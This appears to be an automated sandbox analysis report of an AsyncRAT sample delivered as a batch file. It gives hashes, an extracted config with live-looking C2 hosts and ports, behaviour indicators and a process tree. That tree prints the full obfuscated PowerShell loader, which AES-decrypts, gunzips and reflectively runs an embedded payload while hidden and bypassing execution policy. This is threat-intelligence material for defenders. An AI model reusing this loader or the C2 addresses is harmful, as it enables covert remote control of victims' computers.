asyncrat | a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34

General

Target

KKAAYY.bat
Size

48KB
MD5

83875df1ddf8a47531e763f5bc140691
SHA1

8d1bc0c5bceedd229b8faaf6542779726188b145
SHA256

a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34
SHA512

e19c020f4fe1922a4adef3dd50851514a99852b7eefa9b74e6e954f941349a60589e171a618423d0029e8d3e8568536026a1012586a74daa4d19a1ebabb701a7
SSDEEP

768:xZZOUUP++sgCpDgSE2WPENq+qrD/PESqitk3Spn1eqy1nUNamt:m+qCNgNgqdj1qitvl

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

churchmon.ddns.net:6606

churchmon.ddns.net:7707

churchmon.ddns.net:8808

churchmon21.ddns.net:6606

churchmon21.ddns.net:7707

churchmon21.ddns.net:8808

churchmon22.ddns.net:6606

churchmon22.ddns.net:7707

churchmon22.ddns.net:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/3944-138-0x0000018056810000-0x0000018056822000-memory.dmp	asyncrat
behavioral1/memory/3944-145-0x0000018056840000-0x0000018056862000-memory.dmp	asyncrat

Executes dropped EXE 1 IoCs

Processes:

KKAAYY.bat.exe

pid process

3944 KKAAYY.bat.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

KKAAYY.bat.exe

pid process

3944 KKAAYY.bat.exe
3944 KKAAYY.bat.exe
3944 KKAAYY.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

KKAAYY.bat.exe

description pid process

Token: SeDebugPrivilege 3944 KKAAYY.bat.exe

pid	process
3944	KKAAYY.bat.exe

pid	process
3944	KKAAYY.bat.exe
3944	KKAAYY.bat.exe
3944	KKAAYY.bat.exe

description	pid	process
Token: SeDebugPrivilege	3944	KKAAYY.bat.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exeKKAAYY.bat.execmd.exe

description	pid	process	target process
PID 2704 wrote to memory of 3944	2704	cmd.exe	KKAAYY.bat.exe
PID 2704 wrote to memory of 3944	2704	cmd.exe	KKAAYY.bat.exe
PID 3944 wrote to memory of 1804	3944	KKAAYY.bat.exe	cmd.exe
PID 3944 wrote to memory of 1804	3944	KKAAYY.bat.exe	cmd.exe
PID 1804 wrote to memory of 1056	1804	cmd.exe	powershell.exe
PID 1804 wrote to memory of 1056	1804	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KKAAYY.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2704

C:\Users\Admin\AppData\Local\Temp\KKAAYY.bat.exe
"KKAAYY.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $yruxp = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\KKAAYY.bat').Split([Environment]::NewLine);foreach ($AoHcJ in $yruxp) { if ($AoHcJ.StartsWith(':: ')) { $jSeTT = $AoHcJ.Substring(3); break; }; };$iPrdF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jSeTT);$pstaK = New-Object System.Security.Cryptography.AesManaged;$pstaK.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pstaK.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pstaK.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oK9Sb6xmpGv+i/gAJDgfaubHDtLnuOUbT8h3z0NIMvs=');$pstaK.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CUeA3Qkm0ivKUIPg7zp+ug==');$FYwLw = $pstaK.CreateDecryptor();$iPrdF = $FYwLw.TransformFinalBlock($iPrdF, 0, $iPrdF.Length);$FYwLw.Dispose();$pstaK.Dispose();$XhabZ = New-Object System.IO.MemoryStream(, $iPrdF);$lkvIz = New-Object System.IO.MemoryStream;$oenGH = New-Object System.IO.Compression.GZipStream($XhabZ, [IO.Compression.CompressionMode]::Decompress);$oenGH.CopyTo($lkvIz);$oenGH.Dispose();$XhabZ.Dispose();$lkvIz.Dispose();$iPrdF = $lkvIz.ToArray();$QQBse = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($iPrdF);$qnZNg = $QQBse.EntryPoint;$qnZNg.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3944

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\sgmooi.bat"' & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\sgmooi.bat"'
4⤵
PID:1056

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\KKAAYY.bat.exe
Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\KKAAYY.bat.exe
Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
memory/1056-152-0x0000000000000000-mapping.dmp

Download
memory/1804-151-0x0000000000000000-mapping.dmp

Download
memory/3944-115-0x0000000000000000-mapping.dmp

Download
memory/3944-122-0x00000180567C0000-0x00000180567E2000-memory.dmp

Filesize
136KB

Download
memory/3944-129-0x0000018058970000-0x00000180589E6000-memory.dmp

Filesize
472KB

Download
memory/3944-136-0x0000018056800000-0x000001805680E000-memory.dmp

Filesize
56KB

Download
memory/3944-138-0x0000018056810000-0x0000018056822000-memory.dmp

Filesize
72KB

Download
memory/3944-145-0x0000018056840000-0x0000018056862000-memory.dmp

Filesize
136KB

Download
memory/3944-146-0x0000018058BF0000-0x0000018058C0E000-memory.dmp

Filesize
120KB

Download

Analysis

Sharing